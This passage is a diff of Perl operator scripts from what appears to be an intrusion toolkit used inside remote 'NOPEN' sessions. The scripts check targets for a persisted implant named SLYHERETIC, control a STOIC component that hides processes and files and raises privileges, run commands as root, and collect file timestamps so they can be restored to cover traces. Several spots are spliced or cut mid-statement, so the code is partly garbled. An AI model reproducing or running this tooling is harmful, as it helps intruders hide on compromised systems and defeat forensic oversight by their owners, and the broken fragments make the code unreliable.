= "ps$psdots" unless ($output =~ / ps/); + $remotels = "ls$lsdots" unless ($output =~ / ls/); + last if ($remotels and $remoteps); + $lsdots .= "." unless $remotels; + $psdots .= "." unless $remoteps; + } + + doit("-put $checkpersistfile $remotels"); + doit("-put $checkprocessfile $remoteps"); + my ($psout,$lsout) = ("$optmp/checkps.$nopen_rhostname", + "$optmp/checkls.$nopen_rhostname", + ); + unlink($lsout,$psout); + my (undef,undef,@lsout) = doit("./$remotels > L:$lsout"); + my (undef,undef,@psout) = doit("./$remoteps > L:$psout"); + my ($foundinstalled) = grep /\'(.+)\'/ , readfile(ARRAY,$lsout); + my ($foundrunning) = join(" --AND-- ",grep /\d\d[\.:]\d\d (.*)/ , readfile(ARRAY,$psout)); + doit("-rm $remotels $remoteps"); + # NOTE: Some of these check binaries put null chars in their stdout, so we tr -d them, + # or else NOPEN screws up that output dropping some on the ground. + my ($results) = doit("-lsh echo === BEGIN LIKELY MATCHES:;echo ; ( echo CheckPersist for $nopen_rhostname: ; egrep --binary-file=text \"'.*'\" $lsout || echo '[NO MATCHES FOUND IN ./$remotels OUTPUT]' ; echo;echo CheckProcess for $nopen_rhostname: ; egrep --binary-file=text \"[\\.:][0-9][0-9] [^ ].*\" $psout || echo '[NO MATCHES FOUND IN ./$remoteps OUTPUT]' ) |tee $optmp/.matches ; echo;echo === END LIKELY MATCHES, COMPLETE LISTINGS FOLLOW ; more $lsout $psout | tr -d '\\000' >>L:/dev/null"); + #mydo("autopopup","\\-lsh ls -al $lsout $psout ; more $lsout $psout"); + my ($sizediff,$findsize,$targetsize) = (); + if ($foundinstalled =~ /\'(.*)\'/) { + my ($results) = doit("-ls -i /usr/libexec/$1 /*bin/$1 /*/*bin/$1 /*/*/*bin/$1"); + if ($results) { + ($targetsize) = $results =~ / (\d+) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)/; + $foundinstalled = "\nON FILE SYSTEM IT IS NOW:\n$results" ; + } + my (@findresults) = grep m,( mtime .* atime |(libexec|bin)/$1$), , readfile(ARRAY,"$opdown/cmdout/$nopen_rhostname-find"); + my $findresults = join("\n",@findresults); + if (@findresults > 1) { + ($findsize) = $findresults =~ / (\d+) \| (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)/; + $foundinstalled .= "\nFROM FIND, IT USED TO BE:\n$findresults" ; + } + } + my $matches = readfile("$optmp/.matches"); + $matches .= $findresults; + if ($targetsize and $findsize) { + $sizediff = " ".int($targetsize - $findsize)." BYTES BIGGER"; + $foundinstalled =~ s,IT IS NOW,IT IS NOW$sizediff,; + } + if ($matches) { + $matches = "=== BEGIN LIKELY MATCHES:\n$matches\n===END LIKELY MATCHES, COMPLETE LISTINGS FOLLOW\n"; + } + #$results =~ s,${optmp}/*check(.)s.$nopen_rhostname:,check${1}s.$nopen_rhostname:\n ,g; + $results =~ s,=== END LIKELY,$foundinstalled\n=== END LIKELY,g if $foundinstalled; + my $pastesearches = ' (triple click them): + +/[.:][0-9][0-9] [^ ].* +/\'.*\' +'; + $results =~ s,::::::::::::::,Useful searches in this window$pastesearches\n::::::::::::::,; + $which = ".".timestamp(short).$which; + writefile("$opdown/Slycheck.$nopen_rhostname.results$which",$results); + filepopup("$opdown/Slycheck.$nopen_rhostname.results$which"); + my $foundoutput = ""; + $foundoutput .= "\nSLYHERETIC seems to be persisted here:\n". + $foundinstalled if $foundinstalled; + $foundoutput .= "\nSLYHERETIC seems to be running here:\n". + $foundrunning if $foundrunning; + $foundoutput .= + "\n\nUseful searches in that popup include these (triple click them):\n\n". + "/[\.:][0-9][0-9] [^ ].*\n". + "/'.*'\n" if $foundoutput; + progprint( $COLOR_NORMAL."\n\n". + $foundoutput. + "") if $foundoutput; + if ($foundrunning or $foundinstalled) { + my $comment = $foundinstalled; + $comment .= ", " if $comment; + my $version = $slyveropt; + $comment .= "Injected into $foundrunning" if $foundrunning; + $comment =~ s/\n/, /g; + my ($content,$warning) = logtool( + "SLYHERETIC", + "$version", + "SUCCESSFUL", + "CHECKED", + $comment, + ) if $checkpersistonly; + } else { + #TODO?: Do we want to log UNSUCCESSFUL for CHECKED status here? Maybe only when !$deinstallonly? or when $checkpersistonly? + if (0 and !$deinstallonly) { # the 0 means this is NOT being done....do we want it? + my $comment = "SLYHERETIC neither running nor installed"; + my ($content,$warning) = logtool( + "SLYHERETIC", + "$version", + "FAILED", + "CHECKED", + $comment, + ) if $checkpersistonly; + } + progprint("$COLOR_NORMAL\n\n". + "SLYHERETIC does not appear to be running or installed.\n". + "See full $remotels and $remoteps output just popped up, and also here:\n\n". + `cd $opdown ; ls -al ../down/Slycheck.$nopen_rhostname.results$which | sed "s,.* root , ,g"`. + $matches. + "\n\nUseful searches in that popup include these (triple click them):\n\n". + "/[\.:][0-9][0-9] [^ ].*\n". + "/'.*'\n". + "") unless ($foundrunning or $foundinstalled); + } + return($foundrunning,$foundinstalled); +} +#checkpersist + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + + + ($installtype) = $0 =~ /auto(\S+)/; + + $prog = "-gs $installtype"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=install\" is used. + +"; + { $gsusagetext=<bort.", + "CONTINUE","ABORT","C","A" + ); + mystoicmydie("User aborted") if $ans eq "a"; + } + putctrl(); + unlink("$opdown/ctrl-H.ps.$nopen_rhostname.elevated", + "$opdown/ctrl-H.ps.$nopen_rhostname.notelevated", + "$opdown/ctrl-H.netstat.$nopen_rhostname.elevated", + "$opdown/ctrl-H.netstat.$nopen_rhostname.notelevated"); + my @tmpopts = ("c"); + doctrl(\@tmpopts,$targetppid) if ($targetppid > 1); + my @tmpopts = ("c","p","f"); + doctrl(\@tmpopts,$targetpid); + mystoicmydie("Cannot continue with $prog -H: Ctrl -cpf $targetpid failed on target\n". + "(likely no STOIC there)") + if @errs; + if ($dols) { + ($pstoicls,$nopenlines,@pstoicls) = findstoicfiles(); + } + if ($dops) { + print STOICOUT "\n# ". timestamp(). " $pstodo NOT ELEVATED:\n" + if (open(STOICOUT,">> $opdown/ctrl-H.ps.$nopen_rhostname.elevated")); + close(STOICOUT); + mydoit("$pstodo >> T:$opdown/ctrl-H.ps.$nopen_rhostname.notelevated"); + } + if ($donetstat) { + print STOICOUT "\n# ". timestamp(). " $netstattodo$extranetstatops NOT ELEVATED:\n" + if (open(STOICOUT,">> $opdown/ctrl-H.netstat.$nopen_rhostname.elevated")); + close(STOICOUT); + mydoit("$netstattodo$extranetstatops >> T:$opdown/ctrl-H.netstat.$nopen_rhostname.notelevated"); + } + @tmpopts = ("C","P","F"); + doctrl(\@tmpopts,$targetpid); + @tmpopts = ("C"); + doctrl(\@tmpopts,$targetppid) if ($targetppid > 1); + rmctrl(force) unless ($noupload or $reusestoic > 1); + mystoicmydie("Cannot continue with $prog -H: Ctrl -PF $targetpid failed on target\n". + "(likely no STOIC there but$COLOR_WARNING why$COLOR_FAILURE did first one work?)") + if @errs; + if ($dols) { + ($Pstoicls,$nopenlines,@Pstoicls) = findstoicfiles(); + } + if ($dops) { + print STOICOUT "\n# ". timestamp(). " $pstodo ELEVATED:\n" + if (open(STOICOUT,">> $opdown/ctrl-H.ps.$nopen_rhostname.elevated")); + close(STOICOUT); + mydoit("$pstodo >> T:$opdown/ctrl-H.ps.$nopen_rhostname.elevated"); + } + if ($donetstat) { + print STOICOUT "\# ". timestamp(). " $netstattodo$extranetstatops ELEVATED:\n" + if (open(STOICOUT,">> $opdown/ctrl-H.netstat.$nopen_rhostname.elevated")); + close(STOICOUT); + mydoit("$netstattodo$extranetstatops >> T:$opdown/ctrl-H.netstat.$nopen_rhostname.elevated"); + } + my $sleepmore = "Differences follow in 3 seconds...\a." + unless $nosleep; + progprint($COLOR_NORMAL."\n\n". + "Both priveleged and non-priveleged command$dowhichplural ($dowhich) $dowhichverb done.\n\n". + $sleepmore); + sleep 3 unless $nosleep; +# progprint("","pause2"); + my $stoicdiffcontent = ""; +# mydoit("-lsh diff -b $opdown/ctrl-H.$nopen_rhostname.notelevated $opdown/ctrl-H.$nopen_rhostname.elevated | sed \"s/^>/HIDDEN?>/g\" | sed \"s/^/HIDDEN?>/g" | sed "s/^/HIDDEN?>/g" | sed "s/^\s*$/; + if (/^(HIDDEN|inboth).*ELEV/) { + s/.*\#/\#/; + $stoicdiffcontent .= $_; + next; + } + if ($pidlines{$pid}) { + # Second line, same pid? Remove first then + $stoicdiffcontent =~ s,$_,,; + next; + } elsif (/^inboth.*( |\/)ps /) { + next if $pspids{$pid}++; + $pscount++; + s/^inboth./$COLOR_NOTE-PRIVps/; + s/$/$COLOR_FAILURE/; + } elsif (/^HIDDEN.*( |\/)ps /) { + next if $pspids{$pid}++; + $pscount++; + s/^HIDDEN./$COLOR_NOTE+PRIVps/; + s/$/$COLOR_FAILURE/; + } elsif (/( |\/)ps /) { + $pscount++; + s/^/$COLOR_NOTE/; + s/$/$COLOR_FAILURE/; + } + $pidlines{$pid} .= $_; + $stoicdiffcontent .= $_; + } + if ($pscount > 2) { + $stoicdiffcontent .= + "\n". + ("=" x 80)."\n". + "\nTHIS MAY BE VERY BAD!!! We saw more than just our two ps commands.\n\n\n". + "SO SOMEONE COULD HAVE SEEN OURS!!\n\n". + "See BLUE lines above.\n". + ("=" x 80)."\n\n"; + } + } + my $regexp = ""; + if ($dols) { + # We build @hiddenls as all files shown in @Pstoicls but not @pstoicls + foreach my $Pline (@Pstoicls) { + my $visible = 0; + foreach my $pline (@pstoicls) { + $visible = 1 if $pline eq $Pline; + last if $visible; + } + push(@hiddenls,$Pline) unless $visible; + } + if (@hiddenls) { + $stoicdiffcontent .= + "$COLOR_FAILURE\nThese files are being hidden by STOIC:\n\n". + $COLOR_NORMAL. + join("\n",@hiddenls); + } else { + $stoicdiffcontent .= + "$COLOR_FAILURE\nNO FILES$COLOR_NORMAL are being hidden by STOIC."; + } + } + progprint($stoicdiffcontent); + } elsif ($nulloptscount) { + doctrl(\@doopts," "); + } else { + mystoicmydie("We have doopts=(@doopts)"); + } +} +rmctrl() unless $noupload; + +if ($outputfile and open(STOICOUT,">$outputfile")) { +# print STOICOUT "TESTING: COMPLETEOUTPUT\n===============\n$completeoutput\n================\n"; +# print STOICOUT "TESTING: \@COMPLETEOUTPUT\n===============\n"; + print STOICOUT join("\n",@completeoutput)."\n"; + close(STOICOUT); +} + +@errs = grep /^1$/,@completeoutput; +@nonerrs = grep /^0$/,@completeoutput; +my ($running) = (); +foreach (@completeoutput) { + if (/RUNNING/) { + $running = $_ ; + } else { + $results{$running} .= $_ if $running; + } +} +$running = ""; +foreach my $key (keys %results) { + $running .= "$key: $results{$key}\n"; +} +#dbg("completeoutput=(\n". +# join("\n",@completeoutput)."\n)\n". +# "exiting autostoicctrl with errs=(@errs) results=(". +# $running. +# ")"); + +if (@setpastables) { + my $s = ""; + $s = "s" if (@setpastables > 1); + my $destfile = "$optmp/ctrl-s.$nopen_rhostname.pastables"; + my $ext = "00000"; + while (-e "$destfile.$ext") { + $ext = int($ext+1); + $ext = sprintf("%05d",$ext); + } + $destfile .= ".$ext"; + @setpastables = sort by_path_depth_with_times @setpastables; + $setpastables[$#setpastables] =~ s,-As,-s,; + my $setpastables2 = join("\n",@setpastables); + my $fileoutput = "#NOGS\n". + "# Times retrieved from $nopen_rhostname at ".gmtime()." -nohist \n-nohist ". + join("\n-nohist ",@setpastables)."\n"; + print CTRLOUT $fileoutput if (open(CTRLOUT,">$destfile")); + close(CTRLOUT); + progprint(".\n$COLOR_FAILURE\n". + "Pastable$s to re-set time$s just retrieved:\n$COLOR_NORMAL\n". + "$setpastables2\n\n". + "These are alvailable, en masse, and in the proper order (deepest first),\n". + "by running the following --$COLOR_FAILURE BE SURE TO DO SO ON THE RIGHT HOST:". + "$COLOR_NORMAL\n\n". + " -gs $destfile"); +} +# Use this to re-set hiddendir related hostvars after just using Ctrl +dbg("At end of stoicctrl (via $prog) hiddenbase=$hiddenbase= hiddendir=$host_hiddendir= + +hiddendirprompt=$hiddendirprompt= +enableoptscount=$enableoptscount= +disableoptscount=$disableoptscount= +uninstalloptscount=$uninstalloptscount= +ABOUT TO: + if ($disableoptscount or + $enableoptscount or + $uninstalloptscount or + $host_hiddendir ne $originalhiddendir + ); + +WTF? + + (!$originalhiddendir or $host_hiddendir)) +hiddenchanged=$hiddenchanged= + + +errs=(@errs) nonerrs=(@nonerrs) inside autostoicctrl +"); + +dbg("WTF? again") if + ($prog =~ /stoicctrl/ and + $lsdiropt and $redodirtest and !$recursediropt and + ($originalhiddendir or $host_hiddendir)); + +if ($disableoptscount or + $enableoptscount or + $uninstalloptscount or + # If this is -ctrl -L, we do the gethiddendir() call here unless + # recursing + # or unless there was not (in autoutils) and still is not a hidden dir, in which case + # the gethiddendir() call that autoutils does is sufficient. + ($prog =~ /stoicctrl/ and + $lsdiropt and $redodirtest and + !$recursediropt and + (!$hiddenchanged and ($host_hiddendir or $originalhiddendir)))) { +# ($originalhiddendir or $host_hiddendir)) +# ) { + ($host_hiddendir,$safehiddendir,@output) = + gethiddendir(force,$hiddendirprompt,\@hiddendirs,\@safehiddendirs); +} +if ($lsdiropt and $redodirtest and !$recursediropt and + $prog =~ /stoicctrl/ and + !($originalhiddendir or $host_hiddendir)) { + mywarn("No hidden dirs found"); +} + + +if (!$host_hiddendir and $host_workingdir =~ /[a-f0-9]{16}$/i) { + progprint("CLEAERING host-wide variable host_workingdir from:\n". + " $host_workingdir\n\n". + "(looks like a hidden dir and we do not have one)", + $COLOR_FAILURE); + newhostvar("host_workingdir","CLEARALLMATCHING"); +} + +if (@finalout) { + progprint($COLOR_FAILURE."\n\n".join("\n",@finalout)."\n\n". + "Return values of 1 indicate failure."); +} + +# Called via do so must end with 1; +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0 unless $calledviarequire; + $stoiccmd = "called as: -gs stoicctrl @ARGV"; + if ($willautoport and $socket) { + $stoiccmd = "in $prog, called as: stoicctrl(@ARGV)"; + dbg("via require autostoicctrl ARGV=( +".join("\n",@ARGV)." +) prog=$prog"); +# progprint("$prog called -gs stoicctrl @ARGV"); + $calledviarequire = 1; + } else { + $prog = "-gs stoicctrl"; + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $vertext = "$prog version $VER\n" ; + } + clearallopts(); + $vertext = "$prog version $VER\n" ; + mystoicmydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $extranetstatops = ""; + $extranetstatops = "p" if $linuxtarget; + setusagetexts(); + usage() unless @ARGV; + my $origoptions = "@ARGV"; + mystoicmydie("bad option(s)") if (! Getopts( "o:Dhvw:XS:dCcdsgEeFfPpKkrTUnN:zHWARlbi:aL:" ) ) ; + $pauseafterupload = $opt_b; + @completeoutput = () if ($clearprevious = $opt_z); + $stoickillopt = 1 if ($opt_k or $opt_K); + $reusestoic = 2 if $opt_A; +# if (-s "$optmp/stoicuploaded.$nopen_rhostname") { +# dbg("BEFORE: \$ctrluploaded=$ctrluploaded= ctrlltr=$ctrlltr="); +# do "$optmp/stoicuploaded.$nopen_rhostname"; +# dbg(" AFTER: \$ctrluploaded=$ctrluploaded= ctrlltr=$ctrlltr="); +# } + + if ($opt_i) { + @inputlist = readpathsfromfile($opt_i,NODIE); + mydie("-i $opt_i must be a local file containing a listing with paths in it") + unless @inputlist; + } + $newstoicfile = $opt_N; + $dostoicdiff = $opt_H; + ($dops,$donetstat,$dols,$dowhich, + $dowhichverb,$dowhichplural, + $pstodo,$netstattodo) + = (1,1,1,"=ps, -ls, netstat -an", + "are","s", + "=ps","netstat -an"); + if ($dostoicdiff) { + if (@ARGV) { + ($dops,$donetstat,$dols,$dowhich) = (); + my @new = (); + foreach (@ARGV) { + if ($_ eq "nosleep") { + $nosleep++; + } elsif ($_ eq "ps" or + /ps_/) { + if (/_/) { + s,_, ,g; + $pstodo = $_; + } + $dops=1; + $dowhich .= "$pstodo, " unless ($dowhich =~ /$pstodo, /); + } elsif (/netstat/) { + if (/_/) { + s,_, ,g; + $extranetstatopts = ""; + $netstattodo = $_; + dbg("netstat is now \"$netstattodo\""); + } + $donetstat=1; + $dowhich .= "$netstattodo, " unless ($dowhich =~ /netstat/); + } elsif ($_ eq "ls" or $_ eq "-ls") { + $dols=1; + $dowhich .= "-ls, " unless ($dowhich =~ /ls,/); + } else { + push(@new,$_); + } + } + $dowhich =~ s/, $//; + if ($donetstat + $dops + $dols > 1) { + ($dowhichverb,$dowhichplural) + = ("are","s"); + } elsif ($donetstat + $dops + $dols == 1) { + ($dowhichverb,$dowhichplural) + = ("is",""); + } else { + # False alarm, we saw no ps/netstat/ls so reset all + ($dops,$donetstat,$dols,$dowhich, + $dowhichverb,$dowhichplural, + $pstodo,$netstattodo) + = (1,1,1,"=ps, -ls, netstat -an", + "are","s", + "=ps","netstat -an"); + } + @ARGV = @new; + } + } + if ($newstoicfile) { + mydie("-N $newstoicfile must exist somewhere in $opup") + unless ($newstoicfile =~ m,^$opup, and -e $newstoicfile); + } + # -L is now polymorphic--we undef it here if it is the Ctrl -L SECS option + if ($opt_L) { + if ($opt_L =~ /^\d+$/) { + mydie("-ctrl -L $opt_L is only valid on Solaris") + unless $solaristarget; + @doopts = ("L"); + $logsleeptime = int($opt_L); + undef $opt_L; + } elsif ($opt_L =~ /^R/) { + $opt_R++; + ($startpath) = $opt_L =~ /^R(\/.*)/,; + } elsif ($opt_L !~ /^N/) { + mydie("Invalid option: -L $opt_L"); + } + } + $redodirtest = $opt_R; + $lsdiropt = 1 if ($opt_L or $opt_l); + $recursediropt = $opt_l; + $findstoic = $opt_W; + $noupload = 1 if ($lsdiropt or $findstoic); + if ($outputfile = $opt_o) { + if ($outputfile =~ m,/,) { + unless ($outputfile =~ m,/.*/,) { + mystoicmydie("Do not put your output file in /: $outputfile"); + } + } + unless ($outputfile =~ m,/,) { + $outputfile = "$optmp/$outputfile"; + } else { + my $dir = dirname($outputfile); + mydie("-o $outputfile uses a directory ($dir) that does not yet exist") + unless -d $dir; + } + preservefile($outputfile); + } + + + ########################################################################### + # PROCESS ARGUMENTS + ########################################################################### + + ## DEFAULTS + $putdest = "/tmp" unless (defined $putdest and $putdest =~ m,^/,); + + # Counters. Note we call -C "enable" and -c "disable", rather than cloak/uncloak. + # Lowercase are like normal user, uppercase is us. + # 20120922: NOTE, k was in $disableoptltrs, why was that? + ($enableoptltrs, $disableoptltrs, $uninstalloptltrs, $localoptltrs, + $alloptltrs, $pidoptltrs, $pathoptltrs, $nulloptltrs,) = + ("CEFPK", "cefp", "Un", "a", + "LCcdsgEeFfPpKkrTUunHWla","CcEeFfPpKk", "Ccsgr", "LdUunHWl",); + + ($enableoptscount, $disableoptscount, $uninstalloptscount, + $alloptscount, $pidoptscount, $pathoptscount, $nulloptscount,) = + (0,0,0,0,0,0); + + # This must only get populated for -s commands, + # it is used in every call to doctrl(). + $extraargs=""; + + # $debug not really used, may want it later + $debug = $opt_D ; + + # Group @ARGV args indo categories with greps + @pids = grep /^\d+$/ , @ARGV; + @paths = grep m,^/, , @ARGV; + push(@paths,@inputlist) if @inputlist; + my @zeros = grep /^0+$/ , @ARGV; + my @ones = grep /^1$/ , @ARGV; + my @therest = grep ! m,^(\d+|/.*)$, , @ARGV; +dbg("therest=(@therest) + +") if (@therest); + + usage() if ($opt_h or $opt_v) ; + + mydie("-H is not usable with any PIDs or PATHs") + if ($dostoicdiff and ($opt_r or + @paths or @pids)); + + # Connect to autoport, we need status and more interactively. + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + # Get some remote status information, need $targetcwd and maybe pids. + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus(force) unless $noupload; + + # Must do -r first, one use of it really means -C and -E both + if ($opt_r) { + if ( !@therest and !@paths) { + offerabort("Assuming you mean the NOPEN usage for -r, not the upload/execute\n". + "\"Ctrl -r PATH\" which runs something as root (and is rarely used)."); + $opt_C++; + $opt_E++; + undef $opt_r; + } else { + my $s="s" if @paths > 1; + my $more = ""; + if (!@paths) { + @paths = ("@therest"); + @therest=(); + } + foreach (@paths) { + $more .= "\t$_ @therest\n"; + } + $extraargs = "@therest"; + @therest = (); + offerabort + ("Command$s: \n". + "$more\n". + "Are you sure you want to run the above command$s as root?\n". + "This option is hardly ever used."); + } + } + + for (my $i=0;$i= 0); + $localoptscount++ if index($localoptltrs,$ltr) >= 0; + $alloptscount++ if index($alloptltrs,$ltr) >= 0; + $enableoptscount++ if index($enableoptltrs,$ltr) >= 0; + $disableoptscount++ if index($disableoptltrs,$ltr) >= 0; + $pidoptscount++ if index($pidoptltrs,$ltr) >= 0; + $pathoptscount++ if index($pathoptltrs,$ltr) >= 0; + $nulloptscount++ if index($nulloptltrs,$ltr) >= 0; + $uninstalloptscount++ if index($uninstalloptltrs,$ltr) >= 0; + } + } + dbg("doopts=(@doopts) + (0 \$alloptltrs = $alloptltrs + \$alloptscount = $alloptscount + \$localoptltrs = $localoptltrs + \$localoptscnt = $localoptscnt + 1 \$enableoptltrs = $enableoptltrs + \$enableoptscount = $enableoptscount + 2 \$disableoptltrs = $disableoptltrs + \$disableoptscount = $disableoptscount + 3 \$pidoptltrs = $pidoptltrs + \$pidoptscount = $pidoptscount + 4 \$pathoptltrs = $pathoptltrs + \$pathoptscount = $pathoptscount + 5 \$nulloptltrs = $nulloptltrs + \$nulloptscount = $nulloptscount + )"); + + + + mydie("-H is not usable with -[EeCcUn] opts nor any PIDs nor PATHs") + if ($dostoicdiff and ($enableoptscount or + $disableoptscount or + $pidoptscount or + $pathoptscount or + $uninstalloptscount or + @paths or @pids)); + + # Options for autostoicctrl script: + + # Options for upload/execute Ctrl: + $forcegettime = $opt_a; + $diropt = $opt_d; + $gettimeopt=$opt_g; + $settimeopt=$opt_s; + + # Default to this windows pid(s) if $pidoptscount and no pids given + unless (!$pidoptscount or @pids or + (@paths and ($opt_c or $opt_C) and !@pids)) { + push(@pids,$targetpid); + push(@pids,$targetppid) unless ($targetppid == 1); + } + + ## ERROR CHECKING OF OPTS + mystoicmydie("no valid opltr given (tried $alloptltrs)") + unless @doopts; + mystoicmydie("Use only one of -s and -g at a time") + if ($settimeopt and $gettimeopt); + mystoicmydie("You can not mix enable/disable privelege options") + if ($enableoptscount and $disableoptscount); + mystoicmydie("You must only use exactly one of these options at a time: -[$pathoptltrs]") + if ($pathoptscount > 1); + mystoicmydie("You must only use exactly one of these options at a time: -[$nulloptltrs]") + if ($nulloptscount) > 1; + # Set our working dir to the one set in hostvars if there, else to + # our hidden directory if known, unless -w option overrides it. + +#TODO: only for some options we use $host_workingdir + + $oldhost_workingdirwashiddendir = 1 + if ($host_workingdir and $host_workingdir eq $host_hiddendir); + $workingdir = $opt_w; +dbg("Here with +workingdir=$workingdir= +host_hiddendir=$host_hiddendir= + + +"); + $hiddensensitive = (($dostoicdiff or + (@pids and ($disableoptscount or $enableoptscount)) or + $uninstalloptscount)); +# offerabort("DBG: hiddensensitive=$hiddensensitive= +#enableoptscount=$enableoptscount= +#disableoptscount=$disableoptscount= +#pids=(@pids) +#dostoicdiff=$dostoicdiff= +#"); + if ($workingdir) { + $workingdir =~ s,/+,/,g; + $workingdir =~ s,/$,,; + if (%host_hiddendirs and $hiddensensitive) { + foreach my $hdir (keys %host_hiddendirs) { + mystoicmydie("-w $workingdir cannot be your hidden directory with -[". + $enableoptltrs. + $disableoptltrs. + $uninstalloptltrs."] options") + if ($hdir =~ m,^$workingdir,); + } + } + newhostvar(host_nonhiddenworkingdir,$workingdir) + if ($hiddensensitive and !$host_nonhiddenworkingdir); + } else { + if (%host_hiddendirs) { + foreach my $hdir (keys %host_hiddendirs) { + if ($hdir =~ m,^$host_workingdir,) { + $oldhost_workingdirwashiddendir = 1; + newhostvar("host_workingdir",""); + newhostvar("host_workingdir{$hdir}",""); + } + } + } + $workingdir = $host_workingdir + if ($host_workingdir and ($gettimeopt or $settimeopt or $diropt or $stoickillopt)); + if (!$hiddensensitive) { + $workingdir = $host_hiddendir if ($host_hiddendir); + } else { + my $orphanmore = ""; + if ($targetppid eq $initpid) { + + } + + # We are doing something risky avoid hidden dir + $workingdir = $targetcwd; + $workingdir = $host_nonhiddenworkingdir + if ($host_nonhiddenworkingdir); +dbg("just set workingdir=$workingdir="); + foreach my $hdir (keys %host_hiddendirs) { + if ($workingdir =~ m,$hdir,) { + my $baddir = $targetcwd; + $workingdir = "/tmp"; + $workingdir = $host_nonhiddenworkingdir if $host_nonhiddenworkingdir; + + doit("-cd $workingdir"); + mystoicmydie("\n\n\n". + "THAT DID NOTHING!!!\n\n\n". + "READ THIS CAREFULLY!!!\n\n\n". + "You cannot use your current directory ($baddir, in a\n". + "STOIC hidden directory) to run Ctrl -".join(" -",@doopts)." @pids.\n\n". + "You are now in $workingdir, but your NOPEN prompt may not say so. If the prompt\n". + "is still saying $baddir, type this to refresh\n". + "your NOPEN prompt so it is accurate:\n\n". + " -cd $workingdir\n\n". + "If $workingdir is executable, up-arrow and try again here,\n". + "if not use -w with someplace that is..") + if ($prog =~ /stoicctrl/); + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus(force); + progprint("$prog cannot use your current directory ($baddir, in a\n". + "STOIC hidden directory) to run Ctrl -".join(" -",@doopts)." @pids.\n\n". + "You are now in $workingdir, but your NOPEN prompt may not say so.\n". + "Type this later to refresh your NOPEN prompt so it is accurate:\n\n". + " -cd $workingdir\n\n"); + + last; + } + } + } + +dbg("NOW: + + +doopts=(@doopts) +host_w=$host_workingdir= +gettime=$gettimeopt= +settime=$settimeopt= +diropt=$diropt= +dostoicdiff=$dostoicdiff= +disableoptscount=$disableoptscount= +enableoptscount=$enableoptscount= +uninstalloptscount=$uninstalloptscount= +host_hiddendir=$host_hiddendir= +workingdir=$workingdir= +targetcwd=$targetcwd= + + +"); + } + # Revert to /tmp if not set yet or if set to hidden dir where that would be a problem. + my $hiddenbase = basename($host_hiddendir) if $host_hiddendir; +dbg("inbetween workingdir=$workingdir= + + +hiddenbase=$hiddenbase= +hiddendir=$hiddendir= + +enableoptscount=$enableoptscount= +workingdir=$workingdir= +ctrluploaded=$ctrluploaded= +hiddenbasesregexp=$hiddenbasesregexp + + +"); + if (!$workingdir or ($hiddenbase and + "$workingdir$ctrluploaded" =~ /$hiddenbasesregexp/ and + ( + $dostoicdiff or + $enableoptscount or + $disableoptscount or + $uninstalloptscount + ) + ) + ) { + # If Ctrl is there already and in hiddendir remove it + if (!$workingdir) { + rmctrl(force); + } + $workingdir = "/tmp" ; + $workingdir = $host_nonhiddenworkingdir + if $host_nonhiddenworkingdir; + } +dbg("after workingdir=$workingdir= + + +hiddenbase=$hiddenbase= +hiddendir=$hiddendir= + +enableoptscount=$enableoptscount= +workingdir=$workingdir= +ctrluploaded=$ctrluploaded= +hiddenbasesregexp=$hiddenbasesregexp + + + +"); + ($seedset,$path,@env) = setworkingdir($workingdir,$noupload); + $putdest = $workingdir; + + if ($host_hiddendir and ":$path:" =~ /:$host_hiddendir:/ and + ( + $dostoicdiff or + $enableoptscount or + $disableoptscount or + $uninstalloptscount + )) { + myalert("Removing $host_hiddendir from your PATH, that can cause issues with ARGV=$origoptions"); + $path = removefrompath($path,@host_hiddendirs); + } + + if ($diropt) { + mystoicmydie("-d takes no arguments: @ARGV") + if @ARGV; + } + if ($opt_T) { + mystoicmydie("Only one signal can be given to -T @pids") + if @pids > 1; + $signal = shift @pids; + } + if ($seed = lc $opt_S) { + $seed = $1 if $seed =~ /SEED=(.+)/; + mystoicmydie("-S $seed is not a valid valid SEED (32 hex digits)") + unless $seed =~ /^[a-f0-9]{32}$/; + } else { +dbg(" seed=\`echo '$nopen_hostonly_orig' | rev | tr -d '\n' | md5sum | cut -f1 -d' '\`);"); + chomp($seed = `echo '$nopen_hostonly_orig' | rev | tr -d '\n' | md5sum | cut -f1 -d' '`); + } + + # If both C and E are being done, we ensure E is always first, + # otherwise order does not matter. + my $optlist = "@doopts"; + if ($optlist =~ /C.*E/) { + my @newopts = ("E"); + while (@doopts) { + my $opt = shift @doopts; + push(@newopts,$opt) unless $opt eq "E"; + } + @doopts = @newopts; + } + + unless ($noupload) { + my $how = "noprompt"; + $how = "forceit" if $opt_X; +dbg(" +newstoicfile=$newstoicfile="); + if ($newstoicfile) { + $stoicctrlfile = mystoicctrl("",$newstoicfile,"Replacing old file $stoicctrlfile"); + } else { + $stoicctrlfile = mystoicctrl($how); + #dbg("stoicctrlfile=$stoicctrlfile= how=$how="); + dbg("-f $stoicctrlfile:".`ls -al $stoicctrlfile 2>/dev/null`) + if -f $stoicctrlfile; + unless ($how eq "forceit") { + if (!$stoicctrlfile or ! -f $stoicctrlfile) { + $how = "forceit"; + #dbg("Forcing: how=$how="); + $stoicctrlfile = mystoicctrl($how); + } + } + } + mystoicmydie("mystoicctrl($how) 